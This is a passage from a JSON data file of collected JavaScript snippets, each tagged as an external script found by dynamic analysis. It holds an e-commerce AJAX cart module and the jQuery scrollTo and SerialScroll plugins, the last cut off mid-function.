\"json\",\t\t\tdata: 'controller=cart&add=1&ajax=true&qty=' + ((quantity && quantity != null) ? quantity : '1') + '&id_product=' + idProduct + '&token=' + static_token + ( (parseInt(idCombination) && idCombination != null) ? '&ipa=' + parseInt(idCombination): '' + '&id_customization=' + ((typeof customizationId !== 'undefined') ? customizationId : 0)),\t\t\tsuccess: function(jsonData,textStatus,jqXHR)\t\t\t{\t\t\t\t// add appliance to whishlist module\t\t\t\tif (whishlist && !jsonData.errors)\t\t\t\t\tWishlistAddProductCart(whishlist[0], idProduct, idCombination, whishlist[1]);\t\t\t\tif (!jsonData.hasError)\t\t\t\t{\t\t\t\t\tif (contentOnly)\t\t\t\t\t\twindow.parent.ajaxCart.updateCartInformation(jsonData, addedFromProductPage);\t\t\t\t\telse\t\t\t\t\t\tajaxCart.updateCartInformation(jsonData, addedFromProductPage);\t\t\t\t\tif (jsonData.crossSelling)\t\t\t\t\t\t$('.crossseling').html(jsonData.crossSelling);\t\t\t\t\tif (idCombination)\t\t\t\t\t\t$(jsonData.products).each(function(){\t\t\t\t\t\t\tif (this.id != undefined && this.id == parseInt(idProduct) && this.idCombination == parseInt(idCombination))\t\t\t\t\t\t\t\tif (contentOnly)\t\t\t\t\t\t\t\t\twindow.parent.ajaxCart.updateLayer(this);\t\t\t\t\t\t\t\telse\t\t\t\t\t\t\t\t\tajaxCart.updateLayer(this);\t\t\t\t\t\t});\t\t\t\t\telse\t\t\t\t\t\t$(jsonData.products).each(function(){\t\t\t\t\t\t\tif (this.id != undefined && this.id == parseInt(idProduct))\t\t\t\t\t\t\t\tif (contentOnly)\t\t\t\t\t\t\t\t\twindow.parent.ajaxCart.updateLayer(this);\t\t\t\t\t\t\t\telse\t\t\t\t\t\t\t\t\tajaxCart.updateLayer(this);\t\t\t\t\t\t});\t\t\t\t\tif (contentOnly)\t\t\t\t\t\tparent.$.fancybox.close();\t\t\t\t}\t\t\t\telse\t\t\t\t{\t\t\t\t\tif (contentOnly)\t\t\t\t\t\twindow.parent.ajaxCart.updateCart(jsonData);\t\t\t\t\telse\t\t\t\t\t\tajaxCart.updateCart(jsonData);\t\t\t\t\tif (addedFromProductPage)\t\t\t\t\t\t$('#add_to_cart button').removeProp('disabled').removeClass('disabled');\t\t\t\t\telse\t\t\t\t\t\t$(callerElement).removeProp('disabled');\t\t\t\t} emptyCustomizations();\t\t\t},\t\t\terror: function(XMLHttpRequest, textStatus, errorThrown)\t\t\t{\t\t\t\tvar error = \"Impossible to add the product to the cart.<br/>textStatus: '\" + textStatus + \"'<br/>errorThrown: '\" + errorThrown + \"'<br/>responseText:<br/>\" + XMLHttpRequest.responseText;\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t $.fancybox.open([\t\t\t\t {\t\t\t\t type: 'inline',\t\t\t\t autoScale: true,\t\t\t\t minHeight: 30,\t\t\t\t content: '<p class=\"fancybox-error\">' + error + '</p>'\t\t\t\t }],\t\t\t\t\t{\t\t\t\t padding: 0\t\t\t\t });\t\t\t\telse\t\t\t\t alert(error);\t\t\t\t//reactive the button when adding has finished\t\t\t\tif (addedFromProductPage)\t\t\t\t\t$('#add_to_cart button').removeProp('disabled').removeClass('disabled');\t\t\t\telse\t\t\t\t\t$(callerElement).removeProp('disabled');\t\t\t}\t\t});\t},\t//remove a product from the cart via ajax\tremove : function(idProduct, idCombination, customizationId, idAddressDelivery){\t\t//send the ajax request to the server\t\t$.ajax({\t\t\ttype: 'POST',\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\turl: baseUri + '?rand=' + new Date().getTime(),\t\t\tasync: true,\t\t\tcache: false,\t\t\tdataType : \"json\",\t\t\tdata: 'controller=cart&delete=1&id_product=' + idProduct + '&ipa=' + ((idCombination != null && parseInt(idCombination)) ? idCombination : '') + ((customizationId && customizationId != null) ? '&id_customization=' + customizationId : '') + '&id_address_delivery=' + idAddressDelivery + '&token=' + static_token + '&ajax=true',\t\t\tsuccess: function(jsonData)\t{\t\t\t\tajaxCart.updateCart(jsonData);\t\t\t\tif ($('body').attr('id') == 'order' || $('body').attr('id') == 'order-opc')\t\t\t\t\tdeleteProductFromSummary(idProduct+'_'+idCombination+'_'+customizationId+'_'+idAddressDelivery);\t\t\t},\t\t\terror: function() {\t\t\t\tvar error = 'ERROR: unable to delete the product';\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t{\t\t\t\t $.fancybox.open([\t\t\t\t {\t\t\t\t type: 'inline',\t\t\t\t autoScale: true,\t\t\t\t minHeight: 30,\t\t\t\t content: error\t\t\t\t }\t\t\t\t ], {\t\t\t\t padding: 0\t\t\t\t });\t\t\t\t}\t\t\t\telse\t\t\t\t alert(error); }\t\t});\t},\t//hide the products displayed in the page but no more in the json data\thideOldProducts : function(jsonData){\t\t//delete an eventually removed product of the displayed cart (only if cart is not empty!)\t\tif ($('.cart_block_list:first dl.products').length > 0)\t\t{\t\t\tvar removedProductId = null;\t\t\tvar removedProductData = null;\t\t\tvar removedProductDomId = null;\t\t\t//look for a product to delete...\t\t\t$('.cart_block_list:first dl.products dt').each(function(){\t\t\t\t//retrieve idProduct and idCombination from the displayed product in the block cart\t\t\t\tvar domIdProduct = $(this).data('id');\t\t\t\tvar firstCut = domIdProduct.replace('cart_block_product_', '');\t\t\t\tvar ids = firstCut.split('_');\t\t\t\t//try to know if the current product is still in the new list\t\t\t\tvar stayInTheCart = false;\t\t\t\tfor (aProduct in jsonData.products)\t\t\t\t{\t\t\t\t\t//we've called the variable aProduct because IE6 bug if this variable is called product\t\t\t\t\t//if product has attributes\t\t\t\t\tif (jsonData.products[aProduct]['id'] == ids[0] && (!ids[1] || jsonData.products[aProduct]['idCombination'] == ids[1]))\t\t\t\t\t{\t\t\t\t\t\tstayInTheCart = true;\t\t\t\t\t\t// update the product customization display (when the product is still in the cart)\t\t\t\t\t\tajaxCart.hideOldProductCustomizations(jsonData.products[aProduct], domIdProduct);\t\t\t\t\t}\t\t\t\t}\t\t\t\t//remove product if it's no more in the cart\t\t\t\tif (!stayInTheCart)\t\t\t\t{\t\t\t\t\tremovedProductId = $(this).data('id');\t\t\t\t\tif (removedProductId != null)\t\t\t\t\t{\t\t\t\t\t\tvar firstCut = removedProductId.replace('cart_block_product_', '');\t\t\t\t\t\tvar ids = firstCut.split('_');\t\t\t\t\t\t$('dt[data-id=\"' + removedProductId + '\"]').addClass('strike').fadeTo('slow', 0, function(){\t\t\t\t\t\t\t$(this).slideUp('slow', function(){\t\t\t\t\t\t\t\t$(this).remove();\t\t\t\t\t\t\t\t// If the cart is now empty, show the 'no product in the cart' message and close detail\t\t\t\t\t\t\t\tif($('.cart_block:first dl.products dt').length == 0)\t\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\t\t$('.ajax_cart_quantity').html('0');\t\t\t\t\t\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideUp(200);\t\t\t\t\t\t\t\t\t$('.cart_block_no_products:hidden').slideDown(450);\t\t\t\t\t\t\t\t\t$('.cart_block dl.products').remove();\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t});\t\t\t\t\t\t});\t\t\t\t\t\t$('dd[data-id=\"cart_block_combination_of_' + ids[0] + (ids[1] ? '_'+ids[1] : '') + (ids[2] ? '_'+ids[2] : '') + '\"]').fadeTo('fast', 0, function(){\t\t\t\t\t\t\t$(this).slideUp('fast', function(){\t\t\t\t\t\t\t\t$(this).remove();\t\t\t\t\t\t\t});\t\t\t\t\t\t});\t\t\t\t\t}\t\t\t\t}\t\t\t});\t\t}\t},\thideOldProductCustomizations : function (product, domIdProduct){\t\tvar customizationList = $('ul[data-id=\"customization_' + product['id'] + '_' + product['idCombination'] + '\"]');\t\tif(customizationList.length > 0)\t\t{\t\t\t$(customizationList).find(\"li\").each(function(){\t\t\t\t$(this).find(\"div\").each(function(){\t\t\t\t\tvar customizationDiv = $(this).data('id');\t\t\t\t\tvar tmp = customizationDiv.replace('deleteCustomizableProduct_', '');\t\t\t\t\tvar ids = tmp.split('_');\t\t\t\t\tif ((parseInt(product.idCombination) == parseInt(ids[2])) && !ajaxCart.doesCustomizationStillExist(product, ids[0]))\t\t\t\t\t\t$('div[data-id=\"' + customizationDiv + '\"]').parent().addClass('strike').fadeTo('slow', 0, function(){\t\t\t\t\t\t\t$(this).slideUp('slow');\t\t\t\t\t\t\t$(this).remove();\t\t\t\t\t\t});\t\t\t\t});\t\t\t});\t\t}\t\tvar removeLinks = $('.deleteCustomizableProduct[data-id=\"' + domIdProduct + '\"]').find('.ajax_cart_block_remove_link');\t\tif (!product.hasCustomizedDatas && !removeLinks.length)\t\t\t$('div[data-id=\"' + domIdProduct + '\"]' + ' span.remove_link').html('<a class=\"ajax_cart_block_remove_link\" rel=\"nofollow\" href=\"' + baseUri + '?controller=cart&amp;delete=1&amp;id_product=' + product['id'] + '&amp;ipa=' + product['idCombination'] + '&amp;token=' + static_token + '\"> </a>');\t\tif (product.is_gift)\t\t\t$('div[data-id=\"' + domIdProduct + '\"]' + ' span.remove_link').html('');\t},\tdoesCustomizationStillExist : function (product, customizationId){\t\tvar exists = false;\t\t$(product.customizedDatas).each(function(){\t\t\tif (this.customizationId == customizationId)\t\t\t{\t\t\t\texists = true;\t\t\t\t// This return does not mean that we found nothing but simply break the loop\t\t\t\treturn false;\t\t\t}\t\t});\t\treturn (exists);\t},\t//refresh display of vouchers (needed for vouchers in % of the total)\trefreshVouchers : function (jsonData){\t\tif (typeof(jsonData.discounts) == 'undefined' || jsonData.discounts.length == 0)\t\t\t$('.vouchers').hide();\t\telse\t\t{\t\t\t$('.vouchers tbody').html('');\t\t\tfor (i=0;i<jsonData.discounts.length;i++)\t\t\t{\t\t\t\tif (parseFloat(jsonData.discounts[i].price_float) > 0)\t\t\t\t{\t\t\t\t\tvar delete_link = '';\t\t\t\t\tif (jsonData.discounts[i].code.length)\t\t\t\t\t\tdelete_link = '<a class=\"delete_voucher\" href=\"'+jsonData.discounts[i].link+'\" title=\"'+delete_txt+'\"><i class=\"icon-remove-sign\"></i></a>';\t\t\t\t\t$('.vouchers tbody').append($(\t\t\t\t\t\t'<tr class=\"bloc_cart_voucher\" data-id=\"bloc_cart_voucher_'+jsonData.discounts[i].id+'\">'\t\t\t\t\t\t+'\t<td class=\"quantity\">1x</td>'\t\t\t\t\t\t+'\t<td class=\"name\" title=\"'+jsonData.discounts[i].description+'\">'+jsonData.discounts[i].name+'</td>'\t\t\t\t\t\t+'\t<td class=\"price\">-'+jsonData.discounts[i].price+'</td>'\t\t\t\t\t\t+'\t<td class=\"delete\">' + delete_link + '</td>'\t\t\t\t\t\t+'</tr>'\t\t\t\t\t));\t\t\t\t}\t\t\t}\t\t\t$('.vouchers').show();\t\t}\t},\t// Update product quantity\tupdateProductQuantity : function (product, quantity){\t\t$('dt[data-id=cart_block_product_' + product.id + '_' + (product.idCombination ? product.idCombination : '0')+ '_' + (product.idAddressDelivery ? product.idAddressDelivery : '0') + '] .quantity').fadeTo('fast', 0, function(){\t\t\t$(this).text(quantity);\t\t\t$(this).fadeTo('fast', 1, function(){\t\t\t\t$(this).fadeTo('fast', 0, function(){\t\t\t\t\t$(this).fadeTo('fast', 1, function(){\t\t\t\t\t\t$(this).fadeTo('fast', 0, function(){\t\t\t\t\t\t\t$(this).fadeTo('fast', 1);\t\t\t\t\t\t});\t\t\t\t\t});\t\t\t\t});\t\t\t});\t\t});\t},\t//display the products witch are in json data but not already displayed\tdisplayNewProducts : function(jsonData){\t\t//add every new products or update displaying of every updated products\t\t$(jsonData.products).each(function(){\t\t\t//fix ie6 bug (one more item 'undefined' in IE6)\t\t\tif (this.id != undefined)\t\t\t{\t\t\t\t//create a container for listing the products and hide the 'no product in the cart' message (only if the cart was empty)\t\t\t\tif ($('.cart_block:first dl.products').length == 0)\t\t\t\t{\t\t\t\t\t$('.cart_block_no_products').before('<dl class=\"products\"></dl>');\t\t\t\t\t$('.cart_block_no_products').hide();\t\t\t\t}\t\t\t\t//if product is not in the displayed cart, add a new product's line\t\t\t\tvar domIdProduct = this.id + '_' + (this.idCombination ? this.idCombination : '0') + '_' + (this.idAddressDelivery ? this.idAddressDelivery : '0');\t\t\t\tvar domIdProductAttribute = this.id + '_' + (this.idCombination ? this.idCombination : '0');\t\t\t\tif ($('dt[data-id=\"cart_block_product_' + domIdProduct + '\"]').length == 0)\t\t\t\t{\t\t\t\t\tvar productId = parseInt(this.id);\t\t\t\t\tvar productAttributeId = (this.hasAttributes ? parseInt(this.attributes) : 0);\t\t\t\t\tvar content = '<dt class=\"unvisible\" data-id=\"cart_block_product_' + domIdProduct + '\">';\t\t\t\t\tvar name = $.trim($('<span />').html(this.name).text());\t\t\t\t\tname = (name.length > 12 ? name.substring(0, 10) + '...' : name);\t\t\t\t\tcontent += '<a class=\"cart-images\" href=\"' + this.link + '\" title=\"' + name + '\"><img src=\"' + this.image_cart + '\" alt=\"' + this.name +'\"></a>';\t\t\t\t\tcontent += '<div class=\"cart-info\"><div class=\"product-name\">' + '<span class=\"quantity-formated\"><span class=\"quantity\">' + this.quantity + '</span>&nbsp;x&nbsp;</span><a href=\"' + this.link + '\" title=\"' + this.name + '\" class=\"cart_block_product_name\">' + name + '</a></div>';\t\t\t\t\tif (this.hasAttributes)\t\t\t\t\t\t content += '<div class=\"product-atributes\"><a href=\"' + this.link + '\" title=\"' + this.name + '\">' + this.attributes + '</a></div>';\t\t\t\t\tif (typeof(freeProductTranslation) != 'undefined')\t\t\t\t\t\tcontent += '<span class=\"price\">' + (parseFloat(this.price_float) > 0 ? this.priceByLine : freeProductTranslation) + '</span></div>';\t\t\t\t\tif (typeof(this.is_gift) == 'undefined' || this.is_gift == 0)\t\t\t\t\t\tcontent += '<span class=\"remove_link\"><a rel=\"nofollow\" class=\"ajax_cart_block_remove_link\" href=\"' + baseUri + '?controller=cart&amp;delete=1&amp;id_product=' + productId + '&amp;token=' + static_token + (this.hasAttributes ? '&amp;ipa=' + parseInt(this.idCombination) : '') + '\"> </a></span>';\t\t\t\t\telse\t\t\t\t\t\tcontent += '<span class=\"remove_link\"></span>';\t\t\t\t\tcontent += '</dt>';\t\t\t\t\tif (this.hasAttributes)\t\t\t\t\t\tcontent += '<dd data-id=\"cart_block_combination_of_' + domIdProduct + '\" class=\"unvisible\">';\t\t\t\t\tif (this.hasCustomizedDatas)\t\t\t\t\t\tcontent += ajaxCart.displayNewCustomizedDatas(this);\t\t\t\t\tif (this.hasAttributes) content += '</dd>';\t\t\t\t\t$('.cart_block dl.products').append(content);\t\t\t\t}\t\t\t\t//else update the product's line\t\t\t\telse\t\t\t\t{\t\t\t\t\tvar jsonProduct = this;\t\t\t\t\tif($.trim($('dt[data-id=\"cart_block_product_' + domIdProduct + '\"] .quantity').html()) != jsonProduct.quantity || $.trim($('dt[data-id=\"cart_block_product_' + domIdProduct + '\"] .price').html()) != jsonProduct.priceByLine)\t\t\t\t\t{\t\t\t\t\t\t// Usual product\t\t\t\t\t\tif (!this.is_gift)\t\t\t\t\t\t\t$('dt[data-id=\"cart_block_product_' + domIdProduct + '\"] .price').text(jsonProduct.priceByLine);\t\t\t\t\t\telse\t\t\t\t\t\t\t$('dt[data-id=\"cart_block_product_' + domIdProduct + '\"] .price').html(freeProductTranslation);\t\t\t\t\t\tajaxCart.updateProductQuantity(jsonProduct, jsonProduct.quantity);\t\t\t\t\t\t// Customized product\t\t\t\t\t\tif (jsonProduct.hasCustomizedDatas)\t\t\t\t\t\t{\t\t\t\t\t\t\tcustomizationFormatedDatas = ajaxCart.displayNewCustomizedDatas(jsonProduct);\t\t\t\t\t\t\tif (!$('ul[data-id=\"customization_' + domIdProductAttribute + '\"]').length)\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\tif (jsonProduct.hasAttributes)\t\t\t\t\t\t\t\t\t$('dd[data-id=\"cart_block_combination_of_' + domIdProduct + '\"]').append(customizationFormatedDatas);\t\t\t\t\t\t\t\telse\t\t\t\t\t\t\t\t\t$('.cart_block dl.products').append(customizationFormatedDatas);\t\t\t\t\t\t\t}\t\t\t\t\t\t\telse\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\t$('ul[data-id=\"customization_' + domIdProductAttribute + '\"]').html('');\t\t\t\t\t\t\t\t$('ul[data-id=\"customization_' + domIdProductAttribute + '\"]').append(customizationFormatedDatas);\t\t\t\t\t\t\t}\t\t\t\t\t\t}\t\t\t\t\t}\t\t\t\t}\t\t\t\t$('.cart_block dl.products .unvisible').slideDown(450).removeClass('unvisible');\t\t\tvar removeLinks = $('dt[data-id=\"cart_block_product_' + domIdProduct + '\"]').find('a.ajax_cart_block_remove_link');\t\t\tif (this.hasCustomizedDatas && removeLinks.length)\t\t\t\t$(removeLinks).each(function(){\t\t\t\t\t$(this).remove();\t\t\t\t});\t\t\t}\t\t});\t},\tdisplayNewCustomizedDatas : function(product){\t\tvar content = '';\t\tvar productId = parseInt(product.id);\t\tvar productAttributeId = typeof(product.idCombination) == 'undefined' ? 0 : parseInt(product.idCombination);\t\tvar hasAlreadyCustomizations = $('ul[data-id=\"customization_' + productId + '_' + productAttributeId + '\"]').length;\t\tif (!hasAlreadyCustomizations)\t\t{\t\t\tif (!product.hasAttributes)\t\t\t\tcontent += '<dd data-id=\"cart_block_combination_of_' + productId + '\" class=\"unvisible\">';\t\t\tif ($('ul[data-id=\"customization_' + productId + '_' + productAttributeId + '\"]').val() == undefined)\t\t\t\tcontent += '<ul class=\"cart_block_customizations\" data-id=\"customization_' + productId + '_' + productAttributeId + '\">';\t\t}\t\t$(product.customizedDatas).each(function(){\t\t\tvar done = 0;\t\t\tcustomizationId = parseInt(this.customizationId);\t\t\tproductAttributeId = typeof(product.idCombination) == 'undefined' ? 0 : parseInt(product.idCombination);\t\t\tcontent += '<li name=\"customization\"><div class=\"deleteCustomizableProduct\" data-id=\"deleteCustomizableProduct_' + customizationId + '_' + productId + '_' + (productAttributeId ? productAttributeId : '0') + '\"><a rel=\"nofollow\" class=\"ajax_cart_block_remove_link\" href=\"' + baseUri + '?controller=cart&amp;delete=1&amp;id_product=' + productId + '&amp;ipa=' + productAttributeId + '&amp;id_customization=' + customizationId + '&amp;token=' + static_token + '\"></a></div>';\t\t\t// Give to the customized product the first textfield value as name\t\t\t$(this.datas).each(function(){\t\t\t\tif (this['type'] == CUSTOMIZE_TEXTFIELD)\t\t\t\t{\t\t\t\t\t$(this.datas).each(function(){\t\t\t\t\t\tif (this['index'] == 0)\t\t\t\t\t\t{\t\t\t\t\t\t\tcontent += ' ' + this.truncatedValue.replace(/<br \\/>/g, ' ');\t\t\t\t\t\t\tdone = 1;\t\t\t\t\t\t\treturn false;\t\t\t\t\t\t}\t\t\t\t\t})\t\t\t\t}\t\t\t});\t\t\t// If the customized product did not have any textfield, it will have the customizationId as name\t\t\tif (!done)\t\t\t\tcontent += customizationIdMessage + customizationId;\t\t\tif (!hasAlreadyCustomizations) content += '</li>';\t\t\t// Field cleaning\t\t\tif (customizationId)\t\t\t{\t\t\t\t$('#uploadable_files li div.customizationUploadBrowse img').remove();\t\t\t\t$('#text_fields input').attr('value', '');\t\t\t}\t\t});\t\tif (!hasAlreadyCustomizations)\t\t{\t\t\tcontent += '</ul>';\t\t\tif (!product.hasAttributes) content += '</dd>';\t\t}\t\treturn (content);\t},\tupdateLayer : function(product){\t\t$('#layer_cart_product_title').text(product.name);\t\t$('#layer_cart_product_attributes').text('');\t\tif (product.hasAttributes && product.hasAttributes == true)\t\t\t$('#layer_cart_product_attributes').html(product.attributes);\t\t$('#layer_cart_product_price').text(product.price);\t\t$('#layer_cart_product_quantity').text(product.quantity);\t\t$('.layer_cart_img').html('<img class=\"layer_cart_img img-responsive\" src=\"' + product.image + '\" alt=\"' + product.name + '\" title=\"' + product.name + '\" />');\t\tvar n = parseInt($(window).scrollTop()) + 'px';\t\t$('.layer_cart_overlay').css('width','100%');\t\t$('.layer_cart_overlay').css('height','100%');\t\t$('.layer_cart_overlay').show(); if($(window).width() > 1199) { $('#layer_cart').css({'top': 150 +'px'}).fadeIn('fast'); } else { \t\t$('#layer_cart').css({'top': n}).fadeIn('fast'); }\t\tcrossselling_serialScroll();\t},\t//genarally update the display of the cart\tupdateCart : function(jsonData){\t\t//user errors display\t\tif (jsonData.hasError)\t\t{\t\t\tvar errors = '';\t\t\tfor (error in jsonData.errors)\t\t\t\t//IE6 bug fix\t\t\t\tif (error != 'indexOf')\t\t\t\t\terrors += $('<div />').html(jsonData.errors[error]).text() + \"\\n\";\t\t\tif (!!$.prototype.fancybox)\t\t\t $.fancybox.open([\t\t\t {\t\t\t type: 'inline',\t\t\t autoScale: true,\t\t\t minHeight: 30,\t\t\t content: '<p class=\"fancybox-error\">' + errors + '</p>'\t\t\t }\t\t\t ], {\t\t\t padding: 0\t\t\t });\t\t\telse\t\t\t alert(errors);\t\t}\t\telse\t\t{\t\t\tajaxCart.updateCartEverywhere(jsonData);\t\t\tajaxCart.hideOldProducts(jsonData);\t\t\tajaxCart.displayNewProducts(jsonData);\t\t\tajaxCart.refreshVouchers(jsonData);\t\t\t//update 'first' and 'last' item classes\t\t\t$('.cart_block .products dt').removeClass('first_item').removeClass('last_item').removeClass('item');\t\t\t$('.cart_block .products dt:first').addClass('first_item');\t\t\t$('.cart_block .products dt:not(:first,:last)').addClass('item');\t\t\t$('.cart_block .products dt:last').addClass('last_item');\t\t}\t},\t//update general cart informations everywhere in the page\tupdateCartEverywhere : function(jsonData){\t\t$('.ajax_cart_total').text($.trim(jsonData.productTotal));\t\tif (typeof hasDeliveryAddress == 'undefined')\t\t\thasDeliveryAddress = false;\t\tif (parseFloat(jsonData.shippingCostFloat) > 0)\t\t\t$('.ajax_cart_shipping_cost').text(jsonData.shippingCost).parent().find('.unvisible').show();\t\telse if ((hasDeliveryAddress || typeof(orderProcess) !== 'undefined' && orderProcess == 'order-opc') && typeof(freeShippingTranslation) != 'undefined')\t\t\t$('.ajax_cart_shipping_cost').html(freeShippingTranslation);\t\telse if (!hasDeliveryAddress)\t\t\t$('.ajax_cart_shipping_cost').html(toBeDetermined);\t\tif (hasDeliveryAddress)\t\t\t$('.ajax_cart_shipping_cost').parent().find('.unvisible').show();\t\t$('.ajax_cart_tax_cost').text(jsonData.taxCost);\t\t$('.cart_block_wrapping_cost').text(jsonData.wrappingCost);\t\t$('.ajax_block_cart_total').text(jsonData.total);\t\t$('.ajax_block_products_total').text(jsonData.productTotal); $('.ajax_total_price_wt').text(jsonData.total_price_wt);\t\tif (parseFloat(jsonData.freeShippingFloat) > 0)\t\t{\t\t\t$('.ajax_cart_free_shipping').html(jsonData.freeShipping);\t\t\t$('.freeshipping').fadeIn(0);\t\t}\t\telse if (parseFloat(jsonData.freeShippingFloat) == 0)\t\t\t$('.freeshipping').fadeOut(0);\t\tthis.nb_total_products = jsonData.nbTotalProducts;\t\tif (parseInt(jsonData.nbTotalProducts) > 0)\t\t{\t\t\t$('.ajax_cart_no_product').hide();\t\t\t$('.ajax_cart_quantity').text(jsonData.nbTotalProducts);\t\t\t$('.ajax_cart_quantity').fadeIn('slow');\t\t\t$('.ajax_cart_total').fadeIn('slow');\t\t\tif (parseInt(jsonData.nbTotalProducts) > 1)\t\t\t{\t\t\t\t$('.ajax_cart_product_txt').each( function (){\t\t\t\t\t$(this).hide();\t\t\t\t});\t\t\t\t$('.ajax_cart_product_txt_s').each( function (){\t\t\t\t\t$(this).show();\t\t\t\t});\t\t\t}\t\t\telse\t\t\t{\t\t\t\t$('.ajax_cart_product_txt').each( function (){\t\t\t\t\t$(this).show();\t\t\t\t});\t\t\t\t$('.ajax_cart_product_txt_s').each( function (){\t\t\t\t\t$(this).hide();\t\t\t\t});\t\t\t}\t\t}\t\telse\t\t{\t\t\t$('.ajax_cart_quantity, .ajax_cart_product_txt_s, .ajax_cart_product_txt, .ajax_cart_total').each(function(){\t\t\t\t$(this).hide();\t\t\t});\t\t\t$('.ajax_cart_no_product').show();\t\t}\t}};function HoverWatcher(selector){\tthis.hovering = false;\tvar self = this;\tthis.isHoveringOver = function(){\t\treturn self.hovering;\t}\t$(selector).hover(function(){\t\tself.hovering = true;\t}, function(){\t\tself.hovering = false;\t})}function crossselling_serialScroll(){\tif (!!$.prototype.bxSlider)\t\t$('#blockcart_caroucel').bxSlider({\t\t\tminSlides: 2,\t\t\tmaxSlides: 4,\t\t\tslideWidth: 178,\t\t\tslideMargin: 20,\t\t\tmoveSlides: 1,\t\t\tinfiniteLoop: false,\t \t\thideControlOnEnd: true,\t\t\tpager: false\t\t});}",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** * Copyright (c) 2007-2014 Ariel Flesler - aflesler<a>gmail<d>com | http://flesler.blogspot.com * Licensed under MIT * @author Ariel Flesler * @version 1.4.14 */;(function(k){'use strict';k(['jquery'],function($){var j=$.scrollTo=function(a,b,c){return $(window).scrollTo(a,b,c)};j.defaults={axis:'xy',duration:0,limit:!0};j.window=function(a){return $(window)._scrollable()};$.fn._scrollable=function(){return this.map(function(){var a=this,isWin=!a.nodeName||$.inArray(a.nodeName.toLowerCase(),['iframe','#document','html','body'])!=-1;if(!isWin)return a;var b=(a.contentWindow||a).document||a.ownerDocument||a;return/webkit/i.test(navigator.userAgent)||b.compatMode=='BackCompat'?b.body:b.documentElement})};$.fn.scrollTo=function(f,g,h){if(typeof g=='object'){h=g;g=0}if(typeof h=='function')h={onAfter:h};if(f=='max')f=9e9;h=$.extend({},j.defaults,h);g=g||h.duration;h.queue=h.queue&&h.axis.length>1;if(h.queue)g/=2;h.offset=both(h.offset);h.over=both(h.over);return this._scrollable().each(function(){if(f==null)return;var d=this,$elem=$(d),targ=f,toff,attr={},win=$elem.is('html,body');switch(typeof targ){case'number':case'string':if(/^([+-]=?)?\\d+(\\.\\d+)?(px|%)?$/.test(targ)){targ=both(targ);break}targ=win?$(targ):$(targ,this);if(!targ.length)return;case'object':if(targ.is||targ.style)toff=(targ=$(targ)).offset()}var e=$.isFunction(h.offset)&&h.offset(d,targ)||h.offset;$.each(h.axis.split(''),function(i,a){var b=a=='x'?'Left':'Top',pos=b.toLowerCase(),key='scroll'+b,old=d[key],max=j.max(d,a);if(toff){attr[key]=toff[pos]+(win?0:old-$elem.offset()[pos]);if(h.margin){attr[key]-=parseInt(targ.css('margin'+b))||0;attr[key]-=parseInt(targ.css('border'+b+'Width'))||0}attr[key]+=e[pos]||0;if(h.over[pos])attr[key]+=targ[a=='x'?'width':'height']()*h.over[pos]}else{var c=targ[pos];attr[key]=c.slice&&c.slice(-1)=='%'?parseFloat(c)/100*max:c}if(h.limit&&/^\\d+$/.test(attr[key]))attr[key]=attr[key]<=0?0:Math.min(attr[key],max);if(!i&&h.queue){if(old!=attr[key])animate(h.onAfterFirst);delete attr[key]}});animate(h.onAfter);function animate(a){$elem.animate(attr,g,h.easing,a&&function(){a.call(this,targ,h)})}}).end()};j.max=function(a,b){var c=b=='x'?'Width':'Height',scroll='scroll'+c;if(!$(a).is('html,body'))return a[scroll]-$(a)[c.toLowerCase()]();var d='client'+c,html=a.ownerDocument.documentElement,body=a.ownerDocument.body;return Math.max(html[scroll],body[scroll])-Math.min(html[d],body[d])};function both(a){return $.isFunction(a)||$.isPlainObject(a)?a:{top:a,left:a}}return j})}(typeof define==='function'&&define.amd?define:function(a,b){if(typeof module!=='undefined'&&module.exports){module.exports=b(require('jquery'))}else{b(jQuery)}}));",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/* * jQuery.SerialScroll - Animated scrolling of series * Copyright (c) 2007-2009 Ariel Flesler - aflesler(at)gmail(dot)com | http://flesler.blogspot.com * Dual licensed under MIT and GPL. * Date: 06/14/2009 * @author Ariel Flesler * @version 1.2.2 * http://flesler.blogspot.com/2008/02/jqueryserialscroll.html */;(function(a){var b=a.serialScroll=function(c){return a(window).serialScroll(c)};b.defaults={duration:1e3,axis:\"x\",event:\"click\",start:0,step:1,lock:!0,cycle:!0,constant:!0};a.fn.serialScroll=function(c){return this.each(function(){var t=a.extend({},b.defaults,c),s=t.event,i=t.step,r=t.lazy,e=t.target?this:document,u=a(t.target||this,e),p=u[0],m=t.items,h=t.start,g=t.interval,k=t.navigation,l;if(!r){m=d()}if(t.force){f({},h)}a(t.prev||[],e).bind(s,-i,q);a(t.next||[],e).bind(s,i,q);if(!p.ssbound){u.bind(\"prev.serialScroll\",-i,q).bind(\"next.serialScroll\",i,q).bind(\"goto.serialScroll\",f)}if(g){u.bind(\"start.serialScroll\",function(v){if(!g){o();g=!0;n()}}).bind(\"stop.serialScroll\",function(){o();g=!1})}u.bind(\"notify.serialScroll\",function(x,w){var v=j(w);if(v>-1){h=v}});p.ssbound=!0;if(t.jump){(r?u:d()).bind(s,function(v){f(v,j(v.target))})}if(k){k=a(k,e).bind(s,function(v){v.data=Math.round(d().length/k.length)*k.index(this);f(v,this)})}function q(v){v.data+=h;f(v,this)}function f(B,z){if(!isNaN(z)){B.data=z;z=p}var C=B.data,v,D=B.type,A=t.exclude?d().slice(0,-t.exclude):d(),y=A.length,w=A[C],x=t.duration;if(D){B.preventDefault()}if(g){o();l=setTimeout(n,t.interval)}if(!w){v=C<0?0:y-1;if(h!=v){C=v}else{if(!t.cycle){return}else{C=y-v-1}}w=A[C]}if(!w||t.lock&&u.is(\":animated\")||D&&t.onBefore&&t.onBefore(B,w,u,d(),C)===!1){return}if(t.stop){u.queue(\"fx\",[]).stop()}if(t.constant){x=Math.abs(x/i*(h-C))}u.scrollTo(w,x,t).trigger(\"notify.serialScroll\",[C])}function n(){u.trigger(\"next.serialScroll\")}function o(){clearTimeout(l)}function d(){return a(m,p)}function j(w){if(!isNaN(w)){return w}var 